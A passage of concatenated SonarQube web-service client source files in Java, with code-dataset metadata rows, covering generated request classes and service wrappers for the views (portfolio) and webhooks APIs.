* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import java.util.List;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_tags_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
@Generated("sonar-ws-generator")
public class SetTagsModeRequest {
private String branch;
private String portfolio;
private List<String> tags;
/**
*/
public SetTagsModeRequest setBranch(String branch) {
this.branch = branch;
return this;
}
public String getBranch() {
return branch;
}
/**
* This is a mandatory parameter.
*/
public SetTagsModeRequest setPortfolio(String portfolio) {
this.portfolio = portfolio;
return this;
}
public String getPortfolio() {
return portfolio;
}
/**
* This is a mandatory parameter.
*/
public SetTagsModeRequest setTags(List<String> tags) {
this.tags = tags;
return this;
}
public List<String> getTags() {
return tags;
}
}
| 1,944 | 25.643836 | 166 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/ShowRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/show">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class ShowRequest {
private String key;
/**
* This is a mandatory parameter.
*/
public ShowRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
}
| 1,428 | 29.404255 | 157 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/UpdateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/update">Further information about this action online (including a response example)</a>
* @since 1.0
*/
@Generated("sonar-ws-generator")
public class UpdateRequest {
private String description;
private String key;
private String name;
/**
*/
public UpdateRequest setDescription(String description) {
this.description = description;
return this;
}
public String getDescription() {
return description;
}
/**
* This is a mandatory parameter.
*/
public UpdateRequest setKey(String key) {
this.key = key;
return this;
}
public String getKey() {
return key;
}
/**
* This is a mandatory parameter.
*/
public UpdateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
}
| 1,869 | 24.972222 | 159 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/ViewsService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.views;
import java.util.stream.Collectors;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class ViewsService extends BaseService {
public ViewsService(WsConnector wsConnector) {
super(wsConnector, "api/views");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_application">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public void addApplication(AddApplicationRequest request) {
call(
new PostRequest(path("add_application"))
.setParam("application", request.getApplication())
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_portfolio">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public void addPortfolio(AddPortfolioRequest request) {
call(
new PostRequest(path("add_portfolio"))
.setParam("portfolio", request.getPortfolio())
.setParam("reference", request.getReference())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_project">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void addProject(AddProjectRequest request) {
call(
new PostRequest(path("add_project"))
.setParam("key", request.getKey())
.setParam("project", request.getProject())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/add_project_branch">Further information about this action online (including a response example)</a>
* @since 9.2
*/
public void addProjectBranch(AddProjectBranchRequest request) {
call(
new PostRequest(path("add_project_branch"))
.setParam("branch", request.getBranch())
.setParam("key", request.getKey())
.setParam("project", request.getProject())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/applications">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public String applications(ApplicationsRequest request) {
return call(
new GetRequest(path("applications"))
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/create">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void create(CreateRequest request) {
call(
new PostRequest(path("create"))
.setParam("description", request.getDescription())
.setParam("key", request.getKey())
.setParam("name", request.getName())
.setParam("parent", request.getParent())
.setParam("visibility", request.getVisibility())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/delete">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void delete(DeleteRequest request) {
call(
new PostRequest(path("delete"))
.setParam("key", request.getKey())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/list">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public String list() {
return call(
new GetRequest(path("list"))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/move">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void move(MoveRequest request) {
call(
new PostRequest(path("move"))
.setParam("destination", request.getDestination())
.setParam("key", request.getKey())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/move_options">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public String moveOptions(MoveOptionsRequest request) {
return call(
new GetRequest(path("move_options"))
.setParam("key", request.getKey())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/portfolios">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public String portfolios(PortfoliosRequest request) {
return call(
new GetRequest(path("portfolios"))
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/projects">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public String projects(ProjectsRequest request) {
return call(
new GetRequest(path("projects"))
.setParam("key", request.getKey())
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("query", request.getQuery())
.setParam("selected", request.getSelected())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/refresh">Further information about this action online (including a response example)</a>
* @since 7.1
*/
public void refresh(RefreshRequest request) {
call(
new PostRequest(path("refresh"))
.setParam("key", request.getKey())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_application">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public void removeApplication(RemoveApplicationRequest request) {
call(
new PostRequest(path("remove_application"))
.setParam("application", request.getApplication())
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_portfolio">Further information about this action online (including a response example)</a>
* @since 9.3
*/
public void removePortfolio(RemovePortfolioRequest request) {
call(
new PostRequest(path("remove_portfolio"))
.setParam("portfolio", request.getPortfolio())
.setParam("reference", request.getReference())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_project">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void removeProject(RemoveProjectRequest request) {
call(
new PostRequest(path("remove_project"))
.setParam("key", request.getKey())
.setParam("project", request.getProject())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/remove_project_branch">Further information about this action online (including a response example)</a>
* @since 9.2
*/
public void removeProjectBranch(RemoveProjectBranchRequest request) {
call(
new PostRequest(path("remove_project_branch"))
.setParam("branch", request.getBranch())
.setParam("key", request.getKey())
.setParam("project", request.getProject())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/search">Further information about this action online (including a response example)</a>
* @since 2.0
*/
public String search(SearchRequest request) {
return call(
new GetRequest(path("search"))
.setParam("onlyFavorites", request.getOnlyFavorites())
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("q", request.getQ())
.setParam("qualifiers", request.getQualifiers())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_manual_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
public void setManualMode(SetManualModeRequest request) {
call(
new PostRequest(path("set_manual_mode"))
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_none_mode">Further information about this action online (including a response example)</a>
* @since 9.1
*/
public void setNoneMode(SetNoneModeRequest request) {
call(
new PostRequest(path("set_none_mode"))
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_regexp_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
public void setRegexpMode(SetRegexpModeRequest request) {
call(
new PostRequest(path("set_regexp_mode"))
.setParam("branch", request.getBranch())
.setParam("portfolio", request.getPortfolio())
.setParam("regexp", request.getRegexp())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_remaining_projects_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
public void setRemainingProjectsMode(SetRemainingProjectsModeRequest request) {
call(
new PostRequest(path("set_remaining_projects_mode"))
.setParam("branch", request.getBranch())
.setParam("portfolio", request.getPortfolio())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/set_tags_mode">Further information about this action online (including a response example)</a>
* @since 7.4
*/
public void setTagsMode(SetTagsModeRequest request) {
call(
new PostRequest(path("set_tags_mode"))
.setParam("branch", request.getBranch())
.setParam("portfolio", request.getPortfolio())
.setParam("tags", request.getTags() == null ? null : request.getTags().stream().collect(Collectors.joining(",")))
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/show">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public String show(ShowRequest request) {
return call(
new GetRequest(path("show"))
.setParam("key", request.getKey())
.setMediaType(MediaTypes.JSON)
).content();
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/views/update">Further information about this action online (including a response example)</a>
* @since 1.0
*/
public void update(UpdateRequest request) {
call(
new PostRequest(path("update"))
.setParam("description", request.getDescription())
.setParam("key", request.getKey())
.setParam("name", request.getName())
.setMediaType(MediaTypes.JSON)
).content();
}
}
| 15,299 | 33.382022 | 182 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/views/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.views;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,038 | 37.481481 | 75 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/CreateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/create">Further information about this action online (including a response example)</a>
* @since 7.1
*/
@Generated("sonar-ws-generator")
public class CreateRequest {
private String name;
private String project;
private String secret;
private String url;
/**
* This is a mandatory parameter.
* Example value: "My Webhook"
*/
public CreateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
* Example value: "my_project"
*/
public CreateRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
/**
* Example value: "your_secret"
*/
public CreateRequest setSecret(String secret) {
this.secret = secret;
return this;
}
public String getSecret() {
return secret;
}
/**
* This is a mandatory parameter.
* Example value: "https://www.my-webhook-listener.com/sonar"
*/
public CreateRequest setUrl(String url) {
this.url = url;
return this;
}
public String getUrl() {
return url;
}
}
| 2,200 | 24.011364 | 162 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/DeleteRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/delete">Further information about this action online (including a response example)</a>
* @since 7.1
*/
@Generated("sonar-ws-generator")
public class DeleteRequest {
private String webhook;
/**
* This is a mandatory parameter.
* Example value: "my_project"
*/
public DeleteRequest setWebhook(String webhook) {
this.webhook = webhook;
return this;
}
public String getWebhook() {
return webhook;
}
}
| 1,501 | 30.291667 | 162 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/DeliveriesRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/deliveries">Further information about this action online (including a response example)</a>
* @since 6.2
*/
@Generated("sonar-ws-generator")
public class DeliveriesRequest {
private String ceTaskId;
private String componentKey;
private String p;
private String ps;
private String webhook;
/**
* Example value: "AU-Tpxb--iU5OvuD2FLy"
*/
public DeliveriesRequest setCeTaskId(String ceTaskId) {
this.ceTaskId = ceTaskId;
return this;
}
public String getCeTaskId() {
return ceTaskId;
}
/**
* Example value: "my-project"
*/
public DeliveriesRequest setComponentKey(String componentKey) {
this.componentKey = componentKey;
return this;
}
public String getComponentKey() {
return componentKey;
}
/**
* Example value: "42"
*/
public DeliveriesRequest setP(String p) {
this.p = p;
return this;
}
public String getP() {
return p;
}
/**
* Example value: "20"
*/
public DeliveriesRequest setPs(String ps) {
this.ps = ps;
return this;
}
public String getPs() {
return ps;
}
/**
* Example value: "AU-TpxcA-iU5OvuD2FLz"
*/
public DeliveriesRequest setWebhook(String webhook) {
this.webhook = webhook;
return this;
}
public String getWebhook() {
return webhook;
}
}
| 2,378 | 23.030303 | 166 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/DeliveryRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/delivery">Further information about this action online (including a response example)</a>
* @since 6.2
*/
@Generated("sonar-ws-generator")
public class DeliveryRequest {
private String deliveryId;
/**
* This is a mandatory parameter.
* Example value: "AU-TpxcA-iU5OvuD2FL3"
*/
public DeliveryRequest setDeliveryId(String deliveryId) {
this.deliveryId = deliveryId;
return this;
}
public String getDeliveryId() {
return deliveryId;
}
}
| 1,538 | 31.0625 | 164 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/ListRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/list">Further information about this action online (including a response example)</a>
* @since 7.1
*/
@Generated("sonar-ws-generator")
public class ListRequest {
private String project;
/**
* Example value: "my_project"
*/
public ListRequest setProject(String project) {
this.project = project;
return this;
}
public String getProject() {
return project;
}
}
| 1,459 | 30.06383 | 160 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/UpdateRequest.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
/**
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/update">Further information about this action online (including a response example)</a>
* @since 7.1
*/
@Generated("sonar-ws-generator")
public class UpdateRequest {
private String name;
private String secret;
private String url;
private String webhook;
/**
* This is a mandatory parameter.
* Example value: "My Webhook"
*/
public UpdateRequest setName(String name) {
this.name = name;
return this;
}
public String getName() {
return name;
}
/**
* Example value: "your_secret"
*/
public UpdateRequest setSecret(String secret) {
this.secret = secret;
return this;
}
public String getSecret() {
return secret;
}
/**
* This is a mandatory parameter.
* Example value: "https://www.my-webhook-listener.com/sonar"
*/
public UpdateRequest setUrl(String url) {
this.url = url;
return this;
}
public String getUrl() {
return url;
}
/**
* This is a mandatory parameter.
* Example value: "my_project"
*/
public UpdateRequest setWebhook(String webhook) {
this.webhook = webhook;
return this;
}
public String getWebhook() {
return webhook;
}
}
| 2,236 | 24.134831 | 162 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/WebhooksService.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package org.sonarqube.ws.client.webhooks;
import javax.annotation.Generated;
import org.sonarqube.ws.MediaTypes;
import org.sonarqube.ws.Webhooks.CreateWsResponse;
import org.sonarqube.ws.Webhooks.DeliveriesWsResponse;
import org.sonarqube.ws.Webhooks.DeliveryWsResponse;
import org.sonarqube.ws.Webhooks.ListResponse;
import org.sonarqube.ws.client.BaseService;
import org.sonarqube.ws.client.GetRequest;
import org.sonarqube.ws.client.PostRequest;
import org.sonarqube.ws.client.WsConnector;
/**
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks">Further information about this web service online</a>
*/
@Generated("sonar-ws-generator")
public class WebhooksService extends BaseService {
public WebhooksService(WsConnector wsConnector) {
super(wsConnector, "api/webhooks");
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/create">Further information about this action online (including a response example)</a>
* @since 7.1
*/
public CreateWsResponse create(CreateRequest request) {
return call(
new PostRequest(path("create"))
.setParam("name", request.getName())
.setParam("project", request.getProject())
.setParam("secret", request.getSecret())
.setParam("url", request.getUrl()),
CreateWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/delete">Further information about this action online (including a response example)</a>
* @since 7.1
*/
public void delete(DeleteRequest request) {
call(
new PostRequest(path("delete"))
.setParam("webhook", request.getWebhook())
.setMediaType(MediaTypes.JSON)).content();
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/deliveries">Further information about this action online (including a response example)</a>
* @since 6.2
*/
public DeliveriesWsResponse deliveries(DeliveriesRequest request) {
return call(
new GetRequest(path("deliveries"))
.setParam("ceTaskId", request.getCeTaskId())
.setParam("componentKey", request.getComponentKey())
.setParam("p", request.getP())
.setParam("ps", request.getPs())
.setParam("webhook", request.getWebhook()),
DeliveriesWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/delivery">Further information about this action online (including a response example)</a>
* @since 6.2
*/
public DeliveryWsResponse delivery(DeliveryRequest request) {
return call(
new GetRequest(path("delivery"))
.setParam("deliveryId", request.getDeliveryId()),
DeliveryWsResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a GET request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/list">Further information about this action online (including a response example)</a>
* @since 7.1
*/
public ListResponse list(ListRequest request) {
return call(
new GetRequest(path("list"))
.setParam("project", request.getProject()),
ListResponse.parser());
}
/**
*
* This is part of the internal API.
* This is a POST request.
* @see <a href="https://next.sonarqube.com/sonarqube/web_api/api/webhooks/update">Further information about this action online (including a response example)</a>
* @since 7.1
*/
public void update(UpdateRequest request) {
call(
new PostRequest(path("update"))
.setParam("name", request.getName())
.setParam("secret", request.getSecret())
.setParam("url", request.getUrl())
.setParam("webhook", request.getWebhook())
.setMediaType(MediaTypes.JSON)).content();
}
}
| 4,962 | 35.226277 | 168 | java |
sonarqube | sonarqube-master/sonar-ws/src/main/java/org/sonarqube/ws/client/webhooks/package-info.java | /*
* SonarQube
* Copyright (C) 2009-2023 SonarSource SA
* mailto:info AT sonarsource DOT com
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 3 of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
@ParametersAreNonnullByDefault
@Generated("sonar-ws-generator")
package org.sonarqube.ws.client.webhooks;
import javax.annotation.ParametersAreNonnullByDefault;
import javax.annotation.Generated;
| 1,041 | 37.592593 | 75 | java |
